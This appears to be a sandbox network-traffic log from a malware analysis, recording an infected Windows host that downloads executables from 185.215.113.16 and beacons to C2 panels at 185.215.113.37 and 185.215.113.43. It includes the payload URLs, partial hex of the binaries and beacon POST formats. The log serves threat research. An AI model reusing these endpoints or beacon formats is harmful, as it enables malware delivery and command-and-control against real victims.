b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@@J@Wk,II @.rsrc@.idata @ )@wcmebtxw`0@qmfzzgveJ@.taggant0J"@
Oct 24, 2024 11:02:28.651664019 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:28.651676893 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:28.651689053 CEST	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:28.651701927 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:28.651722908 CEST	1236	IN	Data Raw: fb e2 c4 1a 90 26 29 2d c0 a7 e6 39 39 c2 80 2c db 56 6d 2c 8c a0 b6 19 39 22 ad 9d ad f6 c0 72 04 93 dc 3f 39 61 0c 1c 38 4f b7 7d be b2 e6 06 3a 46 d2 32 f7 92 e6 7a 49 c5 0a 1f 8a d4 2b 4c 7c 9e c8 b9 4a 42 b6 3d 33 ce 44 4b 48 96 e8 3c b7 f6 Data Ascii: &)-99,Vm,9"r?9a8O}:F2zI+L\|JB=3DKH<:JrWV0@w8EaP?ZlQX2zH47I3fUq''vWs-UL8Ht[2jN/v:zOX(MFV\0~jQ%n$
Oct 24, 2024 11:02:28.651736021 CEST	1236	IN	Data Raw: 75 7a 04 5d 38 c2 0e 5c a8 5e bf b7 a3 9f 5d 55 36 d2 16 17 34 13 b9 2a 14 a5 b3 cf b1 b7 a0 f7 7d cd 98 9b 5b ee 95 fe 03 3a f3 0e ee 6a 9d cb f2 81 fb ca ef 78 e1 9e 2d 62 e2 5a 8e 31 7b d3 db a8 b9 f0 d0 bf a0 2a 9e 7b 6a 3e f5 d0 a8 ad d4 8a Data Ascii: uz]8\^]U64}[:jx-bZ1{{j>,Szc<Z^hg32iWlnat/T;v\G7fGxz1Us@`$V.&xNKLMNS6`j5QCZr3['1@cx
Oct 24, 2024 11:02:28.651839972 CEST	1236	IN	Data Raw: 74 71 c9 10 c1 5a 5e 2d 2e 02 a7 20 b8 9d e4 16 c7 e8 9a 59 b8 6c 67 3f 10 77 30 51 96 1b d4 11 4f 06 fe f5 40 5a cd 61 90 e6 55 36 c7 62 ee 05 21 33 7c 37 fb 5e 04 6b 75 03 e4 58 56 b2 c5 ea f1 0f 22 20 7e 59 77 2a 55 9d 7b 27 d1 d3 ba 16 56 92 Data Ascii: tqZ^-. Ylg?w0QO@ZaU6b!3\|7^kuXV" ~Yw*U{'VvD0ZH(UQY$F-Mv?4<0~N>,"Q.6wyjLp.1YI`od{vYzzJq"Ix4 9y%%<!L9,v
Oct 24, 2024 11:02:28.651853085 CEST	448	IN	Data Raw: f7 56 ec 7a 7f 5a 7c 4e c7 85 8f 79 7b 9d 70 8c 6a 0c f4 30 b3 e2 31 4e 2f 62 79 91 fb 89 a1 2b b0 bf ff f2 3f 67 06 2b 7f da 64 40 68 53 0d 0c f8 fc b7 f5 37 83 28 bb 9b ac c4 99 98 8d 8c 31 1d ea ca 7d 49 37 1e 20 43 93 ab 36 a0 20 fd 68 55 4c Data Ascii: VzZ\|Ny{pj01N/by+?g+d@hS7(1}I7 C6 hUL=<9Zvs30Y3sT3Z>Ju"j#:khxHI0tQqSJ)W;$uz\|D++$$))5NN0X3~
Oct 24, 2024 11:02:28.651890039 CEST	1236	IN	Data Raw: 6b d0 cc 4e db 17 31 3e ef 64 fd b8 64 5a 01 ef 2c a8 0a 75 b1 a4 b3 c5 41 ed 00 1d 88 02 e1 6e ab f5 6f 0a 4d b5 c3 14 4f 02 ee 7f 3e 26 ed 4f 38 94 b3 12 01 a3 0d 03 02 93 2a c7 48 ca 98 cb d6 7c e6 ce f0 2a 86 94 de 3a f1 e8 ae c4 70 1a 3b b8 Data Ascii: kN1>ddZ,uAnoMO>&O8H\|:p;z&K0mF#sI!z808y0[pYX9=* /2NX!zeXFt(,\|BL\JMyryR5P8nNknF,nE(fBx+P9&
Oct 24, 2024 11:02:28.657320023 CEST	1236	IN	Data Raw: 38 9f a9 d5 62 e6 7c 2f 47 5c 7c 4e 76 7e f2 e2 52 13 ff 71 3d 39 1b b4 0f 78 96 7c 2d 7a 23 33 10 50 a9 72 ac f8 ba 15 d0 06 fd ca 6c 8e 2f 54 22 c1 ba df a2 28 69 5b 78 fb ec 48 6c a4 03 e5 2c fb ca 62 5a 95 3b 33 f3 c3 d4 9d 70 56 b6 2d a8 f7 Data Ascii: 8b\|/G\\|Nv~Rq=9x\|-z#3Prl/T"(i[xHl,bZ;3pV-Kl*]mP$d[Ur[msHwqahT%0]`2k9nLCK1]Q"f=hhcR'6gr'{w.ao,D\|kL
Oct 24, 2024 11:02:33.380990028 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 11:02:33.664515972 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:33 GMT Content-Type: application/octet-stream Content-Length: 1829376 Last-Modified: Thu, 24 Oct 2024 08:57:40 GMT Connection: keep-alive ETag: "671a0c04-1bea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 10 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 11 d1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@@i@P%d% %(@.rsrc %8@.idata %8@ )%:@xfniszhipO<@punnpuggi@.taggant0i"@
Oct 24, 2024 11:02:35.828088045 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 11:02:36.112078905 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:35 GMT Content-Type: application/octet-stream Content-Length: 2785280 Last-Modified: Thu, 24 Oct 2024 08:00:09 GMT Connection: keep-alive ETag: "6719fe89-2a8000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 36 c3 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +6`Ui` @ @.rsrc`2@.idata 8@tkeufwxa :@icskcldh Z@.taggant@"^*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49831	185.215.113.37	80	1208	C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:41.406142950 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:02:42.299998045 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:42.310805082 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="hwid"C211416AD83D981579381------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="build"doma------KKEHDBAEGIIIEBGCAAFH--
Oct 24, 2024 11:02:42.594388962 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49832	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:41.806838036 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:02:42.725250006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49848	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:44.254010916 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:02:45.181365013 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 31 35 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 35 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 31 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001158001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001159001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001160001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001161001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49854	185.215.113.16	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:45.271101952 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 11:02:46.184722900 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:46 GMT Content-Type: application/octet-stream Content-Length: 2888192 Last-Modified: Thu, 24 Oct 2024 08:57:33 GMT Connection: keep-alive ETag: "671a0bfd-2c1200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 90 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2f 00 00 04 00 00 40 f8 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf/@/@,@Wk ^@.rsrc n@.idata n@otopmwwu)z)p@nwnnypis/+@.taggant0/"+@
Oct 24, 2024 11:02:46.184746981 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:46.184756041 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:46.184803009 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:46.184813976 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:46.184823990 CEST	636	IN	Data Raw: d8 b9 89 05 d7 4e 4e e3 37 d5 5e 56 ac 09 48 13 61 ad 46 12 a9 a2 0f 23 d1 52 8c e2 86 de 8d a1 45 88 19 3f c6 0f a9 7a 59 49 d1 76 07 15 ae 29 15 19 b1 28 a5 35 81 67 32 c2 59 85 12 6b 87 e9 86 cc c9 a8 ff f2 09 1a 28 50 11 a0 b0 e1 bc ce e8 3a Data Ascii: NN7^VHaF#RE?zYIv)(5g2Yk(P:uEILME?)-5I,u<=(~Mb;$i%2SG]Q;Wc/Rw+>Mo&vf
Oct 24, 2024 11:02:46.184835911 CEST	1236	IN	Data Raw: eb 06 ce 69 9c 27 b7 68 6a 8a bc 16 8f bc 37 a2 9d 12 fe 4a 56 25 3a c8 ca 79 bf f8 e6 e6 f1 6a ce d9 43 b9 b9 01 3f 4a fa 2f 54 a5 f5 36 f1 bc 5a 45 54 af a7 ee 42 cf 11 d0 b9 2c 86 f6 46 e3 9d 0a 17 e9 8d 20 db 6e 76 01 86 56 44 d1 27 e6 70 95 Data Ascii: i'hj7JV%:yjC?J/T6ZETB,F nvVD'p'>,un^CHIbfw+sM.:'g9.s-aaNH-"y\NEYl'svQDF6k`W=dtFgyN
Oct 24, 2024 11:02:46.184843063 CEST	1236	IN	Data Raw: d8 a3 cf f1 d0 8d ca 1e 29 0f fd 58 be af 37 0f 53 98 4f 8f 9e 06 97 6e 26 97 c9 c6 27 60 47 c9 b3 47 c7 f9 bd b1 9c fd 41 96 ac bd 9d 02 ad d7 75 25 01 af 85 97 df 4e 9d f9 05 48 56 a1 c4 80 2f 07 31 bf 82 b6 0a cf 20 93 1b 76 79 fa 82 57 ea 5f Data Ascii: )X7SOn&'`GGAu%NHV/1 vyW_6lCPY=0tYf?mq}\z@~SMIg,xgPDgGK4\ RB/1C6w8Y8H>[
Oct 24, 2024 11:02:46.184853077 CEST	1236	IN	Data Raw: f0 77 52 c5 98 21 15 c9 27 d3 05 f6 33 43 19 9f 50 91 65 f8 64 88 7c 0b 49 e1 ee 99 f0 f2 04 c6 c2 82 4f da 58 88 e5 d5 58 e6 78 53 7d 44 3c 92 69 fd da 9b b0 c6 46 9f 9a 52 f9 a4 c2 88 53 56 d9 02 1d 6a ce bd 03 ea c3 47 f7 a2 cd 04 bc 1e 9d 0e Data Ascii: wR!'3CPed\|IOXXxS}D<iFRSVjG:s1n>L5o})BBM/W%HI$Z&ipv,LrvmBUM",KoQ4 d>UE<6xr"IYo7PBZ.MfEA)
Oct 24, 2024 11:02:46.184887886 CEST	636	IN	Data Raw: a2 b1 d2 ea 06 fc a9 ae 55 84 42 be 59 c7 91 cc 50 fa a2 67 d1 b2 5e 34 91 d5 dd 12 10 49 a2 f4 91 08 4b 61 37 4a 1b 1c 37 c4 5b d6 28 a0 80 b6 18 49 fe 21 bc db 33 2b e9 f3 79 7c 63 73 f9 d0 de 49 68 95 bb 49 b5 6b f9 e4 4e 2e c1 bc 46 cb c8 dd Data Ascii: UBYPg^4IKa7J7[(I!3+y\|csIhIkN.FPUYC2kM"i<B,!GhX?w3I7nm4d.=8SOu5Ikk2iEqGCINlp{oFQ:
Oct 24, 2024 11:02:46.190366030 CEST	1236	IN	Data Raw: 64 87 ad d1 a6 ae 52 98 21 30 7b 5e ce ac bb 54 d0 cb d9 eb 93 29 cd aa c6 78 d6 fa cd 93 25 7a d0 95 18 21 23 50 67 ca d9 49 83 c1 19 ac 7c b5 fc 9e ff 59 82 c7 c9 7c c0 ae 15 09 ce 2d fe 9e ac cb 9f a3 6d 78 ac 32 3a 85 88 1f bb a0 a5 d6 b6 4a Data Ascii: dR!0{^T)x%z!#PgI\|Y\|-mx2:JdZdR#\|z`^7}41quI vML'hB5)NW/V+)oK5lOS@F2_<!Q3ANkdPSM(/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49881	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:50.430936098 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001158001&unit=246122658369
Oct 24, 2024 11:02:51.343380928 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49887	185.215.113.16	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:51.353606939 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 11:02:52.257337093 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:52 GMT Content-Type: application/octet-stream Content-Length: 1829376 Last-Modified: Thu, 24 Oct 2024 08:57:40 GMT Connection: keep-alive ETag: "671a0c04-1bea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 10 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 11 d1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@@i@P%d% %(@.rsrc %8@.idata %8@ )%:@xfniszhipO<@punnpuggi@.taggant0i"@
